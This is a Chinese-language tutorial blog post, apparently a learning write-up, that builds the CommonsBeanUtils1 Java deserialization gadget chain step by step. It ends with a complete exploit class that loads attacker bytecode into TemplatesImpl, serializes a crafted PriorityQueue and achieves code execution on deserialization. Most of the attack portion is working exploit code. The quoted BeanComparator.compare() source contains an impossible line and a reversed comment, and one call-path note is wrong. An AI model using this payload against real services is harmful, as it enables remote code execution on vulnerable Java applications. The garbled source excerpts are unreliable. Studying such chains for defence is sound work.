0x01 写在前面

了解了PropertyUtils.getProperty()打通这条链子还是不难的

0x02 环境搭建

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<dependency>  
 <groupId>commons-beanutils</groupId>  
 <artifactId>commons-beanutils</artifactId>  
 <version>1.9.2</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->  
<dependency>  
 <groupId>commons-logging</groupId>  
 <artifactId>commons-logging</artifactId>  
 <version>1.2</version>  
</dependency>

0x03 CommonsBeanUtils

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ，它主要用于操控 JavaBean ，以 Utils 结尾，一般这都是一个工具类/集

这里的JavaBean指的就是实体类的 get，set 方法，其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean

Demo

比如 Baby 是一个最简单的 JavaBean 类，这里定义两个简单的 getter setter 方法

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package org.example;

public class Baby {
    String name = "baby";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ，让使用者可以直接调用任意 JavaBean 的 getter 方法

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public static void main(String[] args) throws Exception {
    System.out.println(PropertyUtils.getProperty(new Baby(),"name"));
}

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此时，Commons-BeanUtils 会自动找到 name 属性的getter 方法，也就是 getName ，然后调用并获得返回值。这个形式就很自然得想到能任意函数调用

0x04 链子挖掘

Gadget chain

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PriorityQueue.readObject()
    PriorityQueue.heapify()
    PriorityQueue.siftDown()
    PriorityQueue.siftDownUsingComparator()
        BeanComparator.compare()
            PropertyUtils.getProperty(TemplatesImpl, outputProperties)
                TemplatesImpl.getOutputProperties()
                    TemplatesImpl.newTransformer()
                        TemplatesImpl.getTransletInstance()
                            TemplatesImpl.defineTransletClasses()

用到了几个新类：PriorityQueue BeanComparator PropertyUtils，挖链子的时候会讲

TemplatesImpl利用

挖C11的时候已经重新挖过一遍了，这里就直接贴后半段链子

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public class CommonsBeanUtils {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.getOutputProperties();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

PropertyUtils利用

在链子调用的TemplatesImpl.getOutputProperties()就是一个getter方法，并且作用域为public，所以可以通过 CommonsBeanUtils中的 PropertyUtils.getProperty() 方式获取

这里我们的 PropertyUtils.getProperty() 对应的参数应该如下：

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byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertyUtils propertyUtils = new PropertyUtils();
propertyUtils.getProperty(templates,"outputProperties");

BeanComparator利用

目的是找到调用getProperty()的地方，在BeanComparator.compare()

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compare()经常被其他方法所调用，因此作为链子的一部分是非常合适的

更新demo

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byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertyUtils propertyUtils = new PropertyUtils();
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
beanComparator.compare(templates,templates);

PriorityQueue利用

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PriorityQueue.siftUpUsingComparator()`调用`compare()

须控制comparator属性为BeanComparator对象

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PriorityQueue`类内部`siftDown()`调用`siftUpComparable()

需控制comparator属性不为空

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PriorityQueue类内部heapify()调用siftDown()，且该方法在类的readObject()调用

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加上PriorityQueue本身继承了Serializable接口，因此选择其作为入口类

现在先返回看BeanComparator.compare()

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public int compare(T o1, T o2) {
    //判断property是否为null
    if (this.property == null) {
        //不为null直接比较o1,o2
        return this.internalCompare(o1, o2);
    } else {
        try {
            //否则调用PropertyUtils.getProperty()
            Object value1 = property == PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            //再进行比较
            return this.internalCompare(value1, value2);
        } catch (IllegalAccessException iae) {
            throw new RuntimeException("IllegalAccessException: " + iae.toString());
        } catch (InvocationTargetException ite) {
            throw new RuntimeException("InvocationTargetException: " + ite.toString());
        } catch (NoSuchMethodException nsme) {
            throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
        }
    }
}

所以如果需要传值比较，肯定是需要新建一个 PriorityQueue ，并让其有 2 个值进行比较。而且 PriorityQueue 的构造函数当中就包含了一个比较器

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public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

最后使用queue.add()就可以完成比较，因为add()方法调用了compare()方法

img

用priorityQueue类更新demo

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byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(1,beanComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

最终exp

控制在它序列化的本地执行不弹出计算器，在反序列化的时候弹出计算器，通过反射修改值

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package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanUtils {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue priorityQueue = new PriorityQueue(1,beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue,"queue", new Object[]{templates, templates});

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInput ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }


}

命令执行成功

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0x05 写在后面

和前面的CC链放一起了，毕竟都是commons家族

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